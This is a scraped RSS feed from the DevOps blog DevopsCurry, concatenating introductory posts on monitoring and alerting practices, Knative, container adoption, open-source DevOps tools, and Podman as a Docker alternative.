The post Best popular Container Monitoring Tools to explore in 2024 appeared first on DevopsCurry.]]> https://devopscurry.com/understaning-container-monitoring-and-popular-container-monitoring-tools-in-2021/feed/ 0 Best Monitoring and Alerting Practices to follow in 2021 https://devopscurry.com/best-monitoring-and-alerting-practices-to-follow-in-2021/?utm_source=rss&utm_medium=rss&utm_campaign=best-monitoring-and-alerting-practices-to-follow-in-2021 https://devopscurry.com/best-monitoring-and-alerting-practices-to-follow-in-2021/?noamp=mobile#respond Wed, 10 Feb 2021 17:55:29 +0000 https://devopscurry.com/?p=8786 DevOps Monitoring and Alerting Best Practices in 2021 DevOps’ approach has been widely adopted by many businesses to enhance the continuous delivery and integration process. But the main feature is to automate the process within the DevOps pipeline. Automation has changed the overall effectiveness of the business. But the challenge occurs while maintaining and monitoring […]

The post Best Monitoring and Alerting Practices to follow in 2021 appeared first on DevopsCurry.]]> DevOps Monitoring and Alerting Best Practices in 2021

DevOps’ approach has been widely adopted by many businesses to enhance the continuous delivery and integration process. But the main feature is to automate the process within the DevOps pipeline. Automation has changed the overall effectiveness of the business. But the challenge occurs while maintaining and monitoring these automated pipelines. You must keep an eye on what is going on within the business as the network grows. As the business grows, having full visibility of the system is getting complicated, especially when you have fewer resources at your disposal. A proper alerting system will send alerts of any unexpected behavior of the system or an application.

Irrespective of your business’s size, you should consider many aspects of monitoring like what should be monitored, what type of tools should be used, and how you should plan the strategy, to begin with monitoring. You can include various automated monitoring tools that will help you to find potential issues. With software development, the monitoring and alerting process have also evolved. As the DevOps approach is gaining success, you can monitor each DevOps phase from integration, provisioning, and even deployment. 

DevOps team can use DevOps strategies to monitor each aspect of the software or the project efficiently and effectively. The below article will discuss the monitoring and alerting strategies that should be implemented for a smooth delivery process.  

Be specific- what to monitor?

To ensure better system performance, there are many things that you can monitor. But you have to specify and determine what things within the system you want to watch and to what extent. Some of the categories that need monitoring- 

  • Server health checks

You should check the server’s health to ensure the system performance and uptime concerning the available resources. DevOps team should configure the resources properly to identify the critical endpoints within the application. Also, make sure that your server approves the implemented configurations to work seamlessly.

  • Application log output

Among all other aspects of DevOps, logging an application’s output is often ignored. You must have a centralized logging system in place to check for errors. Make sure that you place proper tools and strategies to pinpoint and alert the errors in real-time to avoid vulnerabilities. These logs are essential for IT teams and system administrators to work on expected errors to find the root cause and resolve them in time.

  • Development milestones

After implementing the DevOps approach, we must keep track of how well the strategy works and gain your workflow insights. It helps in checking how well your teams are collaborating to achieve success. You should track the sprint durations, error identification rate, resolve rate, and other features to enhance performance. Maintaining proper checks will help you meet the tasks’ deadlines and how well the DevOps approach is implemented. You can find which job need automation and will save your time.

  • User activity

There are various types of users, and some of their unusual activity may hinder your software. Every user’s accounts are protected and have role-based access to different applications. You must track what is being accessed by which user to ensure safety.

 

You can also read our posts on APM and Open Source Monitoring tools:

  1. DevOps Tools: What is APM and Best APM Tools in 2021 
  2. Best Open Source Monitoring options in 2021 for your Kubernetes Cluster
Monitoring Tools functionalities

Among various monitoring tools, you should consider using those efficient tools to gather performance time-series data from multiple sources, track applications for alerting and collect data in databases. Various tools have a different set of functionalities, but you should choose the right one to solve your purpose of implementing a proper monitoring strategy in place. Some of the functionalities that you might consider are discussed below.

1. Dashboards: The implemented monitoring tool should have an interactive user dashboard to get real-time insights into your applications. It should be more comfortable for every user to work on the tool to analyze what is going on within the system.

2. Diagnosis: The tool should help you to find the critical endpoints for vulnerabilities within the system. It allows you to ensure that all your applications are working as expected.

3. Data collector: It should provide you with open-source agents that support programming language. 

4. Data retention: It helps you to gather real-time time-series performance of the data and log data.

5. Notifications: You should consider monitoring tools are well-incorporated with the notification system that alerts you about the tasks and latest updates.

6. Reports: The monitoring tool should allow you to report all the tasks, activities, and insights to look for performance hotspots and planning.

How to optimize your Monitoring and Alerting strategy

Once you adopt a monitoring strategy and required tools, you must know how to optimize your strategy efficiently. As the monitoring process has a standard procedure and manually will consume time manually and repeat the process again and again. It is a better option that we automate the monitoring tasks for regular updates. 

We can also set alerts on the notification to generate reports and notifications to be sent across the system. This will optimize the monitoring process by implementing proper alerts on each task to check the system’s performance and speed. It will help you to get a better system insight without intervening in the system.

1. Set your monitoring and alerting priority

First, you need to understand the criticality of the applications, different services, and the tasks involved within your system. After that, you can decide what task is more critical and what notifications you should get in the first place. Suppose you are running deployments, and in the meantime, your server and code get compromised at the same time. You need to prioritize the alerting system to send you a notification so the issue will get resolved in time.

Setting the priority will also help the IT team to work on the priority issue on an urgent basis to support the end-users and the business. It will allow IT to respond quickly to problems, provide better customer service, and save time searching for the potential area of error.

2.Monitor the application stack

The monitoring tool that you will choose should monitor the complete stack with a faster troubleshooting process. The tool should cover the below feature set in the application.

  • Infrastructure monitoring It should include monitoring your availability of resources like- CPU usage, disk usage, uptime, response time, database, storage capacity, performance, security, network switches, server load, etc.
  • Performance monitoring It should include monitoring your SLAs, browser speed, end-user transactions, throughput, error rate, page loads, etc.
  • Network monitoring It should include monitoring your network packet flow, bandwidth, latency, network topology, etc.
Commonly used Monitoring and Alerting Tools

Image Credit: https://pt.slideshare.net/grobie/efficient-monitoring-and-alerting/18

Monitoring Tools

  • Infrastructure Monitoring Tools: Solarwinds AppOptics,  Solarwinds ipMonitor,ManageEngine OpManager, Zabbix,Paessler PRTG
  • Application Monitoring Tools: New Relic APM,AppDynamics, Stackify Retrace, Dynatrace (Compuware APM),TraceView (SolarWinds),Application Insights (Microsoft)
  • Network Monitoring Tools: WLC monitoring, Datadog, Site24x7, Nagios,ntop, Obkio,Gif Languard, WhatsUp Gols (WUG)

Alerting Tools

  • PagerDuty, VictorOps,OpsGenie,AlertOps,Cabot,NgDesk, Bosun, StatsAgg

 

The post Best Monitoring and Alerting Practices to follow in 2021 appeared first on DevopsCurry.]]> https://devopscurry.com/best-monitoring-and-alerting-practices-to-follow-in-2021/feed/ 0 What is Knative, and why should have a look at it in 2023 ! https://devopscurry.com/what-is-knative-and-why-should-have-a-look-at-it-in-2023/?utm_source=rss&utm_medium=rss&utm_campaign=what-is-knative-and-why-should-have-a-look-at-it-in-2023 https://devopscurry.com/what-is-knative-and-why-should-have-a-look-at-it-in-2023/?noamp=mobile#respond Mon, 25 Jan 2021 19:07:38 +0000 https://devopscurry.com/?p=8744 Understanding Knative: a Container-based Serverless tool Since last few years, serverless technologies have been in demand and also seen good adoption. Going by stats, 2021 and onwards have been predicted as years of servereless. The container based applications are the flavor of the season, and kubernetes is witnessing a huge demand and adoption from the […]

The post What is Knative, and why should have a look at it in 2023 ! appeared first on DevopsCurry.]]> Understanding Knative: a Container-based Serverless tool

Since last few years, serverless technologies have been in demand and also seen good adoption. Going by stats, 2021 and onwards have been predicted as years of servereless. The container based applications are the flavor of the season, and kubernetes is witnessing a huge demand and adoption from the corporates.

Kuberenetes is definitely a great tool with a lot of potential, but along with Kubernetes, the ecosystem around it is also ever-growing and expanding with lots of new tools and technologies coming into being. Once such tool is Knative,  which makes Kubernetes even better.

Knative is an open-source framework launched to bridge the gap between the containerized and serverless applications among cloud providers. It was developed in 2018 and supported by a group of companies that worked together (Google, IBM, Pivotal, Red Hat, and SAP) to help Kubernetes run microservices and efficiently handle serverless applications.

Many companies widely adopt Kubernetes as an orchestration tool that manages the containers, but you have to rely on the proprietary release-management tools for deploying containers. Also, it demands writing custom code and requires manual effort for troubleshooting in case of failure, and it is challenging to implement serverless computing without the cloud-based serverless platform. Knative was introduced to overcome the situation and establish a standard for cloud-native and cloud-platform orchestration because of these problems.

You can also look at our posts on Serverless and some popular Serverless solutions.

In the post below, we will talk about Knative in detail, its benefits, why there is a need to adopt Knative, its core components, and the future of Knative for Kubernetes and cloud-based enterprises.

What is Knative?

Knative (pronounced kay-nay-tiv) is an open-source, Kubernetes-based serverless framework that was initially developed by Google. Its key feature is to maintain the standard for cross-platform orchestration, which is being implemented by integrating the container or function creation, workload management, auto-scaling, and event models. 

Knative is not the only serverless platform available in the market. Earlier, we have other open-source solutions like Kubeless, Fission, Apache OpenWhisk, etc. Also, we have cloud providers that provide equivalent FaaS products like Lambda, Azure functions, function compute, and many more. Every solution mentioned above has its ways to deploy business code to a serverless platform, which may cause market fragmentation due to a lack of standardized practices. This may lead you to be bound to a specific provider for a particular feature that may not be provided by the other solution or provider. This causes problems like migration to the cloud in a serverless manner, hard to build a general-purpose PaaS platform. That is why Knative comes into play to fix these problems.

The need for Knative depends on you much you are struggling to implement the tasks that can be implemented efficiently within a Kubernetes-based pipeline. As Kubernetes has been in great demand, so has the Knative for automating the process of container-based serverless applications. Unlike other serverless environments, Knative allows you to avoid cloud vendor lock-in.

Below are some features of Knative.

  • With the help of Knative, developers can directly use the Kubernetes API to deploy serverless services.
  • You can easily integrate Knative within any supported environment.
  • It is Kubernetes-based and allows you to deploy services to Kubernetes.
  • It allows the users to trigger serverless services in Knative with the help of the eventing system.
Benefits of Knative

Knative supports Kubernetes serverless orchestration and provides services like service connection, route management, and phased release. It comes with a large community supporting it. Below are some benefits of Knative can influences business to adopt it within the Kubernetes pipeline.

  • Knative is not a PaaS but is a serverless orchestration platform that allows you to create your serverless PaaS.
  • It provides a CloudEvent standard framework to design serverless architecture. Unlike other FaaS solutions, it has standard events, and it is compatible with other FaaS solution.
  • It comes with cross-platform support and provides a universal standard among different cloud providers that eliminate the risk of binding vendors to a specific solution.
  • It has a mature and full-fledged serverless design.
  • Knative helps in building a complete application from source code to images.
  • It helps in supporting the proportional phased releases.
  • It provides you a flexible framework without the risk of vendor lock-in for a specific solution.
  • It allows you to leverage the serverless experience within a containerized environment.
  • It helps in removing the reliability of customized tolling and management.
  • By implementing Kubernetes, you can easily migrate to other cloud providers integrated with Knative.
  • It helps in processing IoT data, running accessibility checks for your website, and validating the configuration of the security groups.
  • It provides a request-driven compute model.
  • It helps developers to focus on coding and allow them to create iterative code frequently. It also ensures that developers will implement new versions of the containers.
  • Knative allows you to manage the workflow as a service automatically.
  • Its event-based model allows you to implement designs that include registration, subscription, and connection to the external system.
Knative Architecture (Three core components of Knative)

Knative is a Kubernetes extension that allows you to build, run, and operate microservices using serverless traits. Knative is a Kubernetes-based framework to provide serverless containerization functionality. Knative has with three core components.

Knative

          Image Credits:https://github.com/knative/docs/

  • Building- this component helps in extending and utilizing the existing primitives of Kubernetes that enables you to run on-cluster builds of the container from the source code. It allows getting the source code from the repository and the dependencies, building container images, and registering them.
  • Serving- this component is built on Kubernetes and Istio that supports the serverless application’s deployment. It also enables the rapid development of serverless containers, automatic scaling, and network programming for Istio components. It considers containers a scalable service that can range from one instance to thousand of container instances.
  • Eventing- it allows you to create a communication between the loosely-coupled event producers and consumers for building an event-driven architecture. Knative places these events in a queue to be performed automatically without the developers creating a script. These events are then delivered to the containers and send feeds to the producers to perform container tasks. These events will make a connection and send the event to a specific service. This reduces the developer’s workload of creating codes to establish the connection.

Some useful Kubernetes posts for reference

  1. DevOps 2021: Kubernetes Cheatsheet for beginners
  2. DevOps 2021: Kubernetes Cheatsheet for Advanced level
  3. Best Open Source Monitoring options in 2021 for your Kubernetes Cluster
Conclusion: The future of Knative

Knative has changed the face of serverless computing by providing on-premise automatic scaling of event-based applications. Despite the new framework, it is making an impact on a more modular and interoperable system. It cannot be predicted that this solution will cover all the shortcomings and be the only option to run serverless architecture. But considering the benefits of Knative over other serverless alternatives make it more influential for the developers to implement it within their Kubernetes architecture.

Knative can help you save a great deal of time by eliminating the need to build and maintain your own Kubernetes extensions. Also it makes the developers’ lives easier and much better, because building custom extensions for Kubernetes is the type of task that is tedious and needs a lot of effort.

But with all that good things about Knative, you should also keep in mind that it is a relatively new tool which is still developing and evolving. So you should factor all aspects into mind and made a wise call, when adopting any new tool into your DevOps armoury.

The post What is Knative, and why should have a look at it in 2023 ! appeared first on DevopsCurry.]]> https://devopscurry.com/what-is-knative-and-why-should-have-a-look-at-it-in-2023/feed/ 0 Why you should consider adopt Containers https://devopscurry.com/why-you-should-consider-adopting-containers-in-2021/?utm_source=rss&utm_medium=rss&utm_campaign=why-you-should-consider-adopting-containers-in-2021 https://devopscurry.com/why-you-should-consider-adopting-containers-in-2021/?noamp=mobile#respond Thu, 14 Jan 2021 16:40:40 +0000 https://devopscurry.com/?p=8695 Why you should adopt Containers in 2021 DevOps and Container Technology With the constant demand for changing environments, DevOps and Container technology can work well when combined. Containers help to keep the development more agile and also ensures continuous delivery thus making containers a great tool for the DevOps process. Containers provide an approach to […]

The post Why you should consider adopt Containers appeared first on DevopsCurry.]]> Why you should adopt Containers in 2021

DevOps and Container Technology

With the constant demand for changing environments, DevOps and Container technology can work well when combined. Containers help to keep the development more agile and also ensures continuous delivery thus making containers a great tool for the DevOps process.

Containers provide an approach to package the application’s source code, libraries, configuration files, and all dependencies in a single object. This object is then able to run applications from a small to a large complex. Containers offer OS-level virtualization that allows you to share the operating system on a server and run it as an isolated resource. Unlike virtual machines, containers do not contain images for the operating system which makes them light-weight and portable. 

If you are working on a large project then you can deploy multiple containers which can be managed by a container orchestrator. Containerization simplifies the DevOps process by reducing the interdependencies between IT operations and the Dev team. Containerization helps to streamline the development and production process. By including a container method will positively transform DevOps.

Understanding the role of containers in DevOps

By leveraging containers in the DevOps process you will be able to serve your customers faster, better, and effectively continuously. You must adopt a solid strategy to build and maintain a container environment. Though DevOps eased the software delivery process containerization will fast-paced your application delivery in an efficient way. Before applying the container, you should understand a few points for effective container management in DevOps.

Integration with IT

The main selection criteria for the container technology is how well and easily it gets integrated with existing IT enterprises without impacting its working pipeline and DevOps process. By far, storage management is considered to be the most important integration point for containers, if it gets integrated with it efficiently then it will work well with the current DevOps process.

Security and compliance framework

Ensuring that the container is in the line with the security and compliance framework of the company is important for DevOps success. You can ensure safety and compliance by continuous scanning, creating a private repository, and documenting rules for it. 

Support hybrid infrastructure

Containers are dynamic and can be stored on various platforms as per the business requirement. You can host containers on-premise VMs, off-premise container service, off-premise VMs, and many more. But in some cases, organizations require multiple container services that require hybrid infrastructure to improve performance.

Microservices

With the help of microservices, you can easily break down large applications into smaller components which can be added to larger applications. It is not necessary to run large applications at a time, but you can deploy smaller components individually that will speed up the process and reduce turnaround time. You can deploy each microservice within a container.

PAAS and FAAS

Container adoption works well for Platform as a Service and Function as a Service due to the flexibility of the container. The container helps PaaS to easily onboard the legacy applications and allows FaaS to delay the code releases.

Application-centric container management

It allows the policy-driven deployment, monitoring, alerting, scaling, and updates of the container applications without imposing any infrastructure restrictions. Application-centric container management provides an abstraction layer on top of different container services that allows the customer to deploy their application in the private or public cloud.

Benefits of containers in DevOps

Containers ensure a streamlined process that allows you to build, test, deploy, and redeploy applications or programs in multiple environments. Containerization offers immense benefits to simplify the DevOps workflow. Some of the benefits are mentioned below.

  • Provide simple updates- if you want to deliver software continuously then applications need to be updated in a constant and streamlined manner. Containers allow easy software or application updates. Containers allow applications to be distributed in multiple microservices and an update to a small part of your application does not impact other parts of the application.
  • Containers support multiple Frameworks– DevOps allows the agility to switch between multiple programming frameworks and containers. With containers, you can run any type of application irrespective of the language they are written in. You can then move those containers easily among different hosts.
  • Makes DevOps workflow consistent- whenever you create and deploy your application within a container, the environment remains the same throughout the delivery chain. This process provides better team collaboration and makes it easy as every team member is working in the same containerized environment.
  • Cost-saving-  unlike VMs, containers do not need OS which may include a cost. Containers run side by side and share the OS kernel of a single physical machine. Also, containers do not require allocation of resources and work on microservices which minimizes the resource overhead.
  • Faster agility- creating a new container is much faster than setting up a new virtual machine. Once deployed, containers can easily scale as per the growing business demands and data.
  • Containers are immutable- containers come with precise and controlled environments to create a CI/CD pipeline. Containers are immutable, the software that is tested will be the same as the software to be deployed without any discrepancies.
  • Ensures security- to maintain container security, the lifetime of the container needs to be reduced to protect it from hackers which gives them a little window to play. You can also refresh containers every minute or so and it keeps the containers up-to-date.
Conclusion

In a nutshell, here’s what Containers can do for you: They can get more applications running on the same hardware than other technologies; they make it easy for developers to quickly create ready-to-run containered applications; and they make managing and deploying applications much easier.

So we have seen how the Container technology is overtaking the entire software world by a storm. Containers are not a technology but more of a revolution, it is just a matter of time when all software applications will be using and running on Containers. So now is the time to think and decide if you have already not started using containers within your organisation, to make a try and adopt Containers as a part of your codebase.

The post Why you should consider adopt Containers appeared first on DevopsCurry.]]> https://devopscurry.com/why-you-should-consider-adopting-containers-in-2021/feed/ 0 Adopting Open-source in 2021 for Devops success https://devopscurry.com/adopting-open-source-in-2021-for-devops-success/?utm_source=rss&utm_medium=rss&utm_campaign=adopting-open-source-in-2021-for-devops-success https://devopscurry.com/adopting-open-source-in-2021-for-devops-success/?noamp=mobile#respond Wed, 06 Jan 2021 08:04:16 +0000 https://devopscurry.com/?p=8657 How DevOps can benefit from the Open source Around 2009, the term DevOps introduced an approach that enhances the collaboration between developers and operations groups. It came as a successor to the Agile method and ensured improvement to the Application Lifecycle Management process. You can consider DevOps as a strategy or principle that every company […]

The post Adopting Open-source in 2021 for Devops success appeared first on DevopsCurry.]]> How DevOps can benefit from the Open source

Around 2009, the term DevOps introduced an approach that enhances the collaboration between developers and operations groups. It came as a successor to the Agile method and ensured improvement to the Application Lifecycle Management process. You can consider DevOps as a strategy or principle that every company should implement within their delivery pipeline.

To implement DevOps, you should have the right tools and processes at your disposal to make it work efficiently. There are a variety of open-source DevOps tools that help in streamlining the development and deployment process. These open-source tools are built with enhanced collaboration that improves performance and allows you to handle different market needs.

Why do DevOps need Open-source?

Well, many companies across the globe have started adopting the DevOps approach for effective and faster delivery. However most companies still shy away from implementing open-source software within their organizations to enhance the DevOps approach. Also, companies restrain their developers from contributing to open source libraries, so they miss a huge opportunity for success.

We are sharing some  key reasons why a company should focus on the Open-source adoption for Devops implementation.

♠ Open-source is Free or low-cost

Open-source means it is available freely or at a lower cost than other closed-source systems.

♠ Based on open standards

With open-source, you can find each tool, source code, and related troubleshooting documents easily. If you are still using traditional proprietary software, it will be difficult for your organization to evolve.

♠ Open-source is self customizable

Open-source offers customizability where you can use tools and products that are way more efficient and light-weight than other available closed-source options. You can freely choose your framework and easily migrate and automate processes with open-source tools and frameworks.

♠ The open-source community is expanding

The open-source community is now expanding, with millions of contributors and developers writing open code and development. Now companies are even supporting its exposure to their DevOps process. By joining open-source, you will become part of the most dynamic group that provides a better solution for every problem.

♠ No Vendor monopoly or Vendor lock-in

Since open-source tools are free from any proprietorship or licensing from any vendor, there is definitely no pressure of monopoly or being vendor locked-in. Whenever you feel to opt out of the open-source tool, you can move out without any restrictions.

♠ Abundance of Talent pool

Since open source software and tools are free and easily available, the number of people with an expertise on popular open source solution is more as compared to licensed tools( because fo the cost involved). So when looking for available expert talent pool in the market for your Devops toolchain, you have higher chances of success with open-source solutions.

How DevOps success aligns with Open-source

There is no doubt that opting for open-source as a part of your DevOps process is beneficial to your organization. But if you are still using highly-proprietary and old traditional IT solutions, you may not achieve the success you are working for. Open source has opened the gate for DevOps to work efficiently. Below are the reasons why DevOps success aligns with the Open-source system, tools, and practices.

  • DevOps groups should go for open-source because the tools and techniques available in the open-source community are either off the shelf or built at some other organization. This will eventually save you time and cost of developing the required tools at your end.
  • If you avail open-source, then you can choose any of the open-source frameworks to work on. You can easily migrate your project from one framework to another without any proprietary lock-in or vendor secrets. It allows your software delivery agile, which is essential in the DevOps process.
  • DevOps mainly focuses on the visibility of the project or application progress within the team members. If you add the open-source within the DevOps process, it ensures the visibility is maintained even to the code level of all the tools you use.
  • Suppose we get any problem during continuous delivery. In that case, there is no time that you contact proprietary vendors to resolve the issue as proprietary tools require expertise to look into the troubleshooting process. But if you go with open-source, you can resolve the issue by yourself as most of the problems are documented publicly for reference.
  • With closed systems, you cannot leverage various tools you are using by integrating them and making the system entirely automated. But with an open-source system, integration and automation are pretty efficient and straightforward.
Common Open-source DevOps tools

You can accelerate an existing system by using open-source tools within your DevOps. Below is the list of the open-source DevOps tools.

Ansible

This tool offers software-related services like application deployment, configuration, etc. It allows you to automate IT tasks. You can easily integrate it with other DevOps tools. You can find its free version on GitHub, where Red Hat offers three different paid versions of Ansible.

Watir 

It is a web application based open-source testing tool. This tool is the most flexible and reliable Ruby library tool that allows you to automate web browsers. It enables you to communicate with web browsers while performing various web functions.

Supergiant

A supergiant is an open-source tool for container management that is built on top of Kubernetes. It enables Kubernetes deployment on multiple clouds within no time. Also, it helps in streamlining the production deployment. It helps in lowering the hardware costs due to the packing algorithm of the Supergiant.

Nagios

This open-source tool provides a solution to infrastructure monitoring. This tool has a well-established base in the monitoring area and is highly efficient due to the broad community creating plugins for its support. You can choose this tool over others if you want to represent your result in various visual forms.

SaltStack

SaltStack is an enterprise paid version of Salt, which is highly flexible and intelligent open-source software for event-driven orchestration, remote execution, and configuration automation. This tool orchestrates the significant movement of the code into production and ensures optimal application delivery. It allows you to deploy and configure dynamic applications.

Chef

If you want to handle both traditional and cloud environments using a single tool, Chef is the right choice. This tool comes with the development kit that allows you to deploy and test the automation code locally before deploying it to production.

Docker 

Docker offers portability due to its containerization technology that transforms IT environments. It packages libraries, tools, runtime everything required for an application to run irrespective of the deployment location.

Git

This open-source tool helps to maintain the source code and to host open-source projects. Git stands out of other tools due to its ability to handle merging and branching. This tool is used by many developers and has become popular in recent years. It offers plugins to integrate it with Jenkins for supporting deployment and integration.

Bitbucket

Similar to GitHub, BitBucket is another tool that helps manage project code throughout the SDLC cycle. While the core functionality of BitBucket resembles that of GitHub, features such as easy integration with Jira and Trello, inbuilt CI/CD functionality tend to give this tool by Atlassian an edge.

Puppet

With Puppet, you can follow a standard way of managing and delivering software. Puppet enhances audibility, reliability, and agility. It offers continuous automation and delivery during complete SDLC. With the introduction of various new features, it allows you to handle dynamic systems with great ease.

Prometheus

It is an open-source systems monitoring and alerting toolkit.It comes with a dimensional data model, flexible query language, efficient time series database and modern alerting approach

These tools will help to bridge the gap between the development and production environment. You can choose any tool that suits your business requirement.

Terraform

Terraform is an open-source infrastructure as code software tool that lets you safely and predictably create, change, and improve infrastructure.Users define and provision data-center infrastructure using a declarative configuration language known as HashiCorp Configuration Language (HCL), or optionally JSON.

Conclusion

Open source is slowly becoming integral to DevOps success, both as a source of innovative tools and also forming the culture that DevOps requires to succeed.If modern day enterprises are looking to build DevOps toolchain, they should consider open source DevOps tools in addition to commercial tools, we have already seen the benefits of using the open-source tools above.

The post Adopting Open-source in 2021 for Devops success appeared first on DevopsCurry.]]> https://devopscurry.com/adopting-open-source-in-2021-for-devops-success/feed/ 0 Exploring alternatives to Docker? Podman could be your ultimate solution ! https://devopscurry.com/looking-for-an-alternative-to-docker-podman-could-be-your-solution/?utm_source=rss&utm_medium=rss&utm_campaign=looking-for-an-alternative-to-docker-podman-could-be-your-solution https://devopscurry.com/looking-for-an-alternative-to-docker-podman-could-be-your-solution/?noamp=mobile#respond Tue, 05 Jan 2021 14:53:54 +0000 https://devopscurry.com/?p=8645 Podman: A Daemonless Docker Alternative Containerization has become one of the most popular technology in the last few years. Today companies focus on designing cloud-native applications that can be run within containers as microservices. It improves the scalability of the applications to run on any platform irrespective of the underlying system. One of the commonly […]

The post Exploring alternatives to Docker? Podman could be your ultimate solution ! appeared first on DevopsCurry.]]> Podman: A Daemonless Docker Alternative

Containerization has become one of the most popular technology in the last few years. Today companies focus on designing cloud-native applications that can be run within containers as microservices. It improves the scalability of the applications to run on any platform irrespective of the underlying system. One of the commonly used container engines is Docker which is preferred to run Kubernetes to orchestrate their applications.

A whole new revolution of containerization started with Docker containers ,where the daemon process manages the whole bunch of things and soon it became one of the most popular and widely used container management systems.

But recently Podman has emerged as a strong competitor for Docker. With Docker, you depend on daemons while with Podman you can run directly using runC runtime containers. There is more to Podman which we will discuss below.

What is Podman?

Podman is a daemon-less container engine for developing, managing, and running OCI Containers on your Linux machines. Containers can either be run as root or in rootless mode.

Podman was developed by Red Hat in 2018. Podman is an open-source container management tool that allows you to build, manage, and to run OCI containers. Podman is also a containerization engine that works on a completely different approach than Docker. Podman does not depend on daemon to work, unlike Docker that uses both Docker CLI and Docker Daemon to work with images and registries. The main drawback of Docker using daemon is that it has to depend on a single process, which also leads to a single point of failure creating all the dependent child processes that will also get failed or orphaned. This failure limits Docker’s flexibility as a containerization engine.

Podman is designed according to OCI standards that allow Podman to interact directly with the kernel, containers, and images. Podman is more secure than Docker as it does not require root access.

Features of Podman
  1. Podman images are created according to OCI standards so that they can be easily pushed to other container management tools and registries.
  2. You can run Podman without having the root access and privileges.
  3. Podman allows you to manage one or more containers to operate them together and perform various actions on pods.
  4. Currently, Podman is available for Linux-based systems only and does not have a wrapper available for Windows and MacOS.
  5. Unlike Docker compose, the feature for Podman is under progress due to which Podman will not be able to manage multiple containers locally.
  6. Podman is mature enough to deploy applications and microservices in containers.
  7. To manage images and builds for your podman instance you can use Buildah.
  8. Podman ensures security in a holistic way making the entire ecosystem safe.
  9. Podman allows you to access resources that will create a highly available network for your application provided by CNI which is great for developers.
  10. With the help of Podman, you can easily scan OCI images without downloading them. Also, you can move them from one repository to another.
  11. It uses the Buildah tool to manipulate or create images within a running container.
  12. Podman runs containers with Systemd enabled by default.
  13. Podman uses UID separation using namespaces that adds up an extra isolation layer while running the containers.

The Podman approach is simply to directly interact with the image registry, with the container and image storage, and with the Linux kernel through the runC container runtime process (not a daemon)

 

Image Source: https://developers.redhat.com/blog/2019/02/21/podman-and-buildah-for-docker-users/

Image Source: https://developers.redhat.com/blog/2019/02/21/podman-and-buildah-for-docker-users/

Podman vs Docker

Below are some differences mentioned between Podman and Docker.

  • The main and the topmost difference is the Daemonless feature of Podman. On one hand, Docker runs each task using Docker daemon while on the other hand, Podman is light-weight and does not require a continuous running instance to run the containers.
  • The other main difference is that Podman is rootless which means Podman can run either as a root or non-root. In whatever way you run the Podman containers it will be compliant without compromising the security.
  • Podman supports running pods which means a collection of containers that can be run close to each other. Podman supports running multiple containers together.
  • Podman allows you to store images and containers in different places while Docker stores images locally.
  • Podman works on the traditional fork-exec model while Docker works on the client-server architecture of the containers.
Conclusion

Now without a daemon to worry about, you can easily create and manage complex containers while maintaining security and keeping the ecosystem efficient with the help of Podman as your containerization engine.

That being said Podman is still a new technology which is evolving and it might be better to be in a `wait and watch` situation, before we start seeing community adoption for Podman and it becomes a more matured and stable tool. You can definitely try it on your local machines and explore it more, but taking it to your production environment might still need some time.

What are your thoughts on Podman and this post, please do share with us in comments.

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